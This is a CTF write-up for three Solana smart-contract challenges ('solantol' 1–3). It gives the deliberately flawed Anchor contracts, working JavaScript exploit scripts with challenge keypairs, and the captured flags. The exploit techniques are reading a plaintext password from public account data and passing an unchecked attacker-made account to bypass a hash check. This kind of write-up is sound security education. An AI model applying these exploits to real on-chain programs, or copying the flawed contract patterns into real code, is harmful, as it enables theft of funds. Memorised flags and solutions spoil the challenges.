🍞
mirai
  • Hi!
  • CTF
    • TCP1P CTF Special Ramadan 2025
      • Web Exploitation
      • Forensics
      • Cryptography
      • Binary Exploitation
      • Reverse Engineering
      • Blockchain
      • OSINT
      • Miscellaneous
    • Cyber Jawara International 2024
      • Intro to ETH
Powered by GitBook
On this page
  • solantol
  • Description
  • Initial Analysis
  • Exploitation
  • solantol 2
  • Description
  • Initial Analysis
  • Exploitation
  • solantol 3
  • Description
  • Initial Analysis
  • Exploitation
  1. CTF
  2. TCP1P CTF Special Ramadan 2025

Blockchain

PreviousReverse EngineeringNextOSINT

Last updated 2 months ago

Name
Solves

10

solantol 2

7

solantol 3

7

Please do note that i am a complete beginner at this category. So expect the exploit code to be a little weird because of ChatGPT

solantol

Description

Author: dimas

Challenge solana pertama di TCP1P :)

Connect:

Initial Analysis

We are given a Solana smart contract

use anchor_lang::prelude::*;

declare_id!("CZY19xitzMjHWa25P3rzWsz3BLuBRpBnby2FQ7LTE4mQ");

#[program]
pub mod setup {
    use super::*;

    pub fn initialize(ctx: Context<Initialize>) -> Result<()> {
        let solved_account = &mut ctx.accounts.solved_account;
        solved_account.solved = false;
        Ok(())
    }

    pub fn solve(ctx: Context<Solve>) -> Result<()> {
        let solved_account = &mut ctx.accounts.solved_account;
        solved_account.solved = true;
        Ok(())
    }

    pub fn is_solved(ctx: Context<IsSolved>) -> Result<bool> {
        let solved_account = &ctx.accounts.solved_account;
        Ok(solved_account.solved)
    }
}

#[derive(Accounts)]
pub struct Initialize<'info> {
    #[account(
        init,
        payer = user,
        space = 8 + 1,
    )]
    pub solved_account: Account<'info, SolvedState>,
    #[account(mut)]
    pub user: Signer<'info>,
    pub system_program: Program<'info, System>,
}

#[derive(Accounts)]
pub struct Solve<'info> {
    #[account(mut)]
    pub solved_account: Account<'info, SolvedState>,
}

#[derive(Accounts)]
pub struct IsSolved<'info> {
    pub solved_account: Account<'info, SolvedState>,
}

#[account]
pub struct SolvedState {
    pub solved: bool,
}

The objective is simple, we just need to call the solve function to flip the isSolved variable to True.

Exploitation

Basically we need to call the solve function

const anchor = require("@project-serum/anchor");
const bs58 = require("bs58");
const { PublicKey, Keypair, Connection } = anchor.web3;
const RPC_URL =
    "http://playground.tcp1p.team:7752/e6dccc7a-5348-4eba-9c54-11ca05efbcd5";
const connection = new Connection(RPC_URL, "confirmed");
const playerSecret = bs58.default.decode(
    "e3oEyUUvk6WfvXzDhPrLimENYLwyn4QWoK3VTy8C5jqZ4E1CZK3ek2tGJ8JYvfnhdhgTWJ514ej74RAHtkyoYUQ"
);
const playerKeypair = Keypair.fromSecretKey(playerSecret);
const wallet = new anchor.Wallet(playerKeypair);
const provider = new anchor.AnchorProvider(connection, wallet, {});
anchor.setProvider(provider);
const programId = new PublicKey("GfzNr5biA4CnUimnHP9jTHcitbumJRUbprcBfuFjiT8o");
const idl = {
    version: "0.0.0",
    name: "setup",
    instructions: [
        {
            name: "initialize",
            accounts: [
                { name: "solvedAccount", isMut: true, isSigner: false },
                { name: "user", isMut: true, isSigner: true },
                { name: "systemProgram", isMut: false, isSigner: false },
            ],
            args: [],
        },
        {
            name: "solve",
            accounts: [{ name: "solvedAccount", isMut: true, isSigner: false }],
            args: [],
        }
    ]
};
const program = new anchor.Program(idl, programId, provider);
const solvedAccount = new PublicKey(
    "B3E6bhLJ5HFk1Qw4TSeZZTzeU6Req3YsRBFBKFFkS5si"
);
(async () => {
    try {
        const tx = await program.rpc.solve({ accounts: { solvedAccount } });
        console.log("Transaction signature:", tx);
    } catch (e) {
        console.error(e);
    }
})();

First, we need to sets up the credentials given from the server. Then we define the program interface (IDL) so we can match it with the real contract. Then in here:

(async () => {
    try {
        const tx = await program.rpc.solve({ accounts: { solvedAccount } });
        console.log("Transaction signature:", tx);
    } catch (e) {
        console.error(e);
    }
})

We just call the solve function. Then it is solved!

Flag: RAMADAN{susahnya_setup_infra_solana}

solantol 2

Description

Author: dimas

Challenge solana kedua di TCP1P :)

Initial Analysis

We are given yet another Solana smart contract:

use anchor_lang::prelude::*;

declare_id!("CZY19xitzMjHWa25P3rzWsz3BLuBRpBnby2FQ7LTE4mQ");

#[program]
pub mod setup {
    use super::*;

    pub fn initialize(ctx: Context<Initialize>, password: String) -> Result<()> {
        let vault = &mut ctx.accounts.vault;
        vault.password = password;
        vault.solved = false;
        vault.owner = ctx.accounts.user.key();
        Ok(())
    }

    pub fn solve(ctx: Context<Solve>, password: String) -> Result<()> {
        let vault = &mut ctx.accounts.vault;
        
        if password == vault.password {
            vault.solved = true;
        }
        
        Ok(())
    }

    pub fn is_solved(ctx: Context<IsSolved>) -> Result<bool> {
        let vault = &ctx.accounts.vault;
        Ok(vault.solved)
    }
}

#[derive(Accounts)]
pub struct Initialize<'info> {
    #[account(
        init,
        payer = user,
        space = 8 + VaultState::INIT_SPACE,
    )]
    pub vault: Account<'info, VaultState>,
    #[account(mut)]
    pub user: Signer<'info>,
    pub system_program: Program<'info, System>,
}

#[derive(Accounts)]
pub struct Solve<'info> {
    #[account(mut)]
    pub vault: Account<'info, VaultState>,
}

#[derive(Accounts)]
pub struct IsSolved<'info> {
    pub vault: Account<'info, VaultState>,
}

#[account]
#[derive(InitSpace)]
pub struct VaultState {
    pub owner: Pubkey,
    #[max_len(100)]
    pub password: String,
    pub solved: bool,
}

The vulnerability lies in:

pub fn initialize(ctx: Context<Initialize>, password: String) -> Result<()> {
    let vault = &mut ctx.accounts.vault;
    vault.password = password;
    vault.solved = false;
    vault.owner = ctx.accounts.user.key();
    Ok(())
}

The program stores the password as a plaintext string. Since all Solana account data is public. We can read it from the VaultState.

#[account]
#[derive(InitSpace)]
pub struct VaultState {
    pub owner: Pubkey,
    #[max_len(100)]
    pub password: String,
    pub solved: bool,
}
pub fn solve(ctx: Context<Solve>, password: String) -> Result<()> {
    let vault = &mut ctx.accounts.vault;
    
    if password == vault.password {
        vault.solved = true;
    }
    
    Ok(())
}

Then to solve it, we need to call solve, with the argument, of the password.

Exploitation

Well because the password is stored as plaintext on the vault. We can just read the vault, get the password and submit it to the solve function. We sets up the IDL just like before to make our life easier.

const anchor = require("@project-serum/anchor");
const bs58 = require("bs58");
const { PublicKey, Keypair, Connection } = anchor.web3;
const RPC_URL =
  "http://playground.tcp1p.team:8752/a8142c5a-5e96-4afb-955b-343407e94ce5";
const connection = new Connection(RPC_URL, "confirmed");
const playerSecret = bs58.default.decode(
  "4BNkMEGPeTjXfq9fT69SJmZffPK6dJLhFq5QpQYEn3vbDV2bapbPwxJfYeBMg6HCV4eyqxWCBg3oPtMzVTTfaCKA"
);
const playerKeypair = Keypair.fromSecretKey(playerSecret);
const wallet = new anchor.Wallet(playerKeypair);
const provider = new anchor.AnchorProvider(connection, wallet, {});
anchor.setProvider(provider);
const programId = new PublicKey("3hGZbHn6LEQ8ePktjKAa4vF3Lb7QuBX6qGWrpy3BCkjS");
const idl = {
  version: "0.0.0",
  name: "setup",
  instructions: [
    {
      name: "initialize",
      accounts: [
        { name: "vault", isMut: true, isSigner: false },
        { name: "user", isMut: true, isSigner: true },
        { name: "systemProgram", isMut: false, isSigner: false },
      ],
      args: [{ name: "password", type: "string" }],
    },
    {
      name: "solve",
      accounts: [{ name: "vault", isMut: true, isSigner: false }],
      args: [{ name: "password", type: "string" }],
    }
  ],
  accounts: [
    {
      name: "vaultState",
      type: {
        kind: "struct",
        fields: [
          { name: "owner", type: "publicKey" },
          { name: "password", type: "string" },
          { name: "solved", type: "bool" },
        ],
      },
    },
  ],
};
const program = new anchor.Program(idl, programId, provider);
const vaultAccount = new PublicKey("F6aQEDRdWHkYue5AehnWhKRA5Uygq4up8FqoYYbQHEaq");
(async () => {
  try {
    const vaultState = await program.account.vaultState.fetch(vaultAccount);
    const storedPassword = vaultState.password;
    console.log("Password:", storedPassword);
    const tx = await program.rpc.solve(storedPassword, {
      accounts: { vault: vaultAccount },
    });
    console.log("Transaction signature:", tx);
    const updatedVault = await program.account.vaultState.fetch(vaultAccount);
    console.log("Challenge solved:", updatedVault.solved);
  } catch (e) {
    console.error(e);
  }
})();

Flag: RAMADAN{everything_is_public_and_readable}

solantol 3

Description

Author: dimas

Challenge solana ke-tiga di TCP1P :)

Initial Analysis

We are given yet another Solana smart contract:

use anchor_lang::prelude::*;
use sha2::{Sha256, Digest};
declare_id!("CZY19xitzMjHWa25P3rzWsz3BLuBRpBnby2FQ7LTE4mQ");
#[program]
pub mod setup {
    use super::*;

    pub fn initialize(ctx: Context<Initialize>, password: String) -> Result<()> {
        let vault = &mut ctx.accounts.vault;
        let mut hasher = Sha256::new();
        hasher.update(password.as_bytes());
        let password_hash = format!("{:x}", hasher.finalize());
        vault.password_hash = password_hash;
        vault.solved = false;
        vault.owner = ctx.accounts.user.key();
        Ok(())
    }

    pub fn attempt_solve(ctx: Context<Solve>, password: String) -> Result<()> {
        let vault = &mut ctx.accounts.vault;
        
        let mut hasher = Sha256::new();
        hasher.update(password.as_bytes());
        let result = format!("{:x}", hasher.finalize());

        require!(result == ctx.accounts.attempt_deposit.password_hash, CustomError::IncorrectPassword);
        vault.solved = true;
       
        Ok(())
    }

    pub fn is_solved(ctx: Context<IsSolved>) -> Result<bool> {
        let vault = &ctx.accounts.vault;
        Ok(vault.solved)
    }
}

#[error_code]
pub enum CustomError {
    #[msg("Incorrect password")]
    IncorrectPassword,
    #[msg("Incorrect owner")]
    IncorrectOwner,
}

#[derive(Accounts)]
pub struct Initialize<'info> {
    #[account(
        init,
        payer = user,
        space = 8 + VaultState::INIT_SPACE,
    )]
    pub vault: Account<'info, VaultState>,
    #[account(mut)]
    pub user: Signer<'info>,
    pub system_program: Program<'info, System>,
}

#[derive(Accounts)]
pub struct Solve<'info> {
    #[account(mut)]
    pub vault: Account<'info, VaultState>,
    #[account(mut)]
    pub attempt_deposit: Account<'info, VaultState>,
    #[account(mut)]
    pub user: Signer<'info>,
}

#[derive(Accounts)]
pub struct IsSolved<'info> {
    pub vault: Account<'info, VaultState>,
}

#[account]
#[derive(InitSpace)]
pub struct VaultState {
    pub owner: Pubkey,
    #[max_len(64)]
    pub password_hash: String,
    pub solved: bool,
}

The vault password here is hashed. But there's a logic error here:

pub fn attempt_solve(ctx: Context<Solve>, password: String) -> Result<()> {
    let vault = &mut ctx.accounts.vault;
    
    let mut hasher = Sha256::new();
    hasher.update(password.as_bytes());
    let result = format!("{:x}", hasher.finalize());

    require!(result == ctx.accounts.attempt_deposit.password_hash, CustomError::IncorrectPassword);
    vault.solved = true;
   
    Ok(())
}

It checks if the hash result of the passed password is equal to the accounts password_hash, where it should have been compared to vault.password_hash. With this logic, we can just create an account, with a known password. Then pass it to the attempt_solve method.

Exploitation

The exploit is simple enough, i don't think i can provide much explanation:

const anchor = require("@project-serum/anchor");
const bs58 = require("bs58");
const { PublicKey, Keypair, Connection, SystemProgram } = anchor.web3;
const RPC_URL =
  "http://playground.tcp1p.team:9752/5af27991-295f-48db-acaf-98a7d54d6d1b";
const connection = new Connection(RPC_URL, "confirmed");
const playerSecret = bs58.default.decode(
  "L3pLyDJEMjTBqRC3sSAPvWhU2Ua8FFdxP6KnMbLw6Vh3NHLqyJren6V5wrWCVzNnHjV77tiH476HQ3iiJmGU6d8"
);
const playerKeypair = Keypair.fromSecretKey(playerSecret);
const wallet = new anchor.Wallet(playerKeypair);
const provider = new anchor.AnchorProvider(connection, wallet, {});
anchor.setProvider(provider);
const programId = new PublicKey("9ezknT1vry9kuzwe2genJip524qTA4Suof4DcEN7QB3S");
const idl = {
  "version": "0.0.0",
  "name": "setup",
  "instructions": [
    {
      "name": "initialize",
      "accounts": [
        { "name": "vault", "isMut": true, "isSigner": true },
        { "name": "user", "isMut": true, "isSigner": true },
        { "name": "systemProgram", "isMut": false, "isSigner": false }
      ],
      "args": [
        { "name": "password", "type": "string" }
      ]
    },
    {
      "name": "attemptSolve",
      "accounts": [
        { "name": "vault", "isMut": true, "isSigner": false },
        { "name": "attemptDeposit", "isMut": true, "isSigner": false },
        { "name": "user", "isMut": true, "isSigner": true }
      ],
      "args": [
        { "name": "password", "type": "string" }
      ]
    },
    {
      "name": "isSolved",
      "accounts": [
        { "name": "vault", "isMut": false, "isSigner": false }
      ],
      "args": []
    }
  ],
  "accounts": [
    {
      "name": "vaultState",
      "type": {
        "kind": "struct",
        "fields": [
          { "name": "owner", "type": "publicKey" },
          { "name": "passwordHash", "type": "string" },
          { "name": "solved", "type": "bool" }
        ]
      }
    }
  ]
};
const program = new anchor.Program(idl, programId, provider);
const vaultAccount = new PublicKey("9CetqxD2CwTAHsUShrhoysXVE4BYMWw1VtC33AissFzS");
const attemptDepositKeypair = Keypair.generate();
const exploitPassword = "miraimirai";
(async () => {
  try {
    const txInit = await program.rpc.initialize(exploitPassword, {
      accounts: {
        vault: attemptDepositKeypair.publicKey,
        user: playerKeypair.publicKey,
        systemProgram: SystemProgram.programId,
      },
      signers: [attemptDepositKeypair],
    });
    console.log("Initialized attemptDeposit account, tx signature:", txInit);
    
    const txSolve = await program.rpc.attemptSolve(exploitPassword, {
      accounts: {
        vault: vaultAccount,
        attemptDeposit: attemptDepositKeypair.publicKey,
        user: playerKeypair.publicKey,
      }
    });        
    console.log("Called attemptSolve, tx signature:", txSolve);
    const vaultState = await program.account.vaultState.fetch(vaultAccount);
    console.log("Vault solved state:", vaultState.solved);
  } catch (e) {
    console.error(e);
  }
})();

First we create a new account by calling initialize function on the contract:

const txInit = await program.rpc.initialize(exploitPassword, {
  accounts: {
    vault: attemptDepositKeypair.publicKey,
    user: playerKeypair.publicKey,
    systemProgram: SystemProgram.programId,
  },
  signers: [attemptDepositKeypair],
});

Then we just call the attempt_solve function with our known password to solve it:

const txSolve = await program.rpc.attemptSolve(exploitPassword, {
  accounts: {
    vault: vaultAccount,
    attemptDeposit: attemptDepositKeypair.publicKey,
    user: playerKeypair.publicKey,
  }
});        
console.log("Called attemptSolve, tx signature:", txSolve);
const vaultState = await program.account.vaultState.fetch(vaultAccount);
console.log("Vault solved state:", vaultState.solved);

Flag: RAMADAN{congrats_you_just_create_your_first_account}

solantol

Connect:

Connect:

🙏
http://playground.tcp1p.team:7752
http://playground.tcp1p.team:8752
http://playground.tcp1p.team:9752
🥉
Solved!
Solved!
isSolved = True
Solved!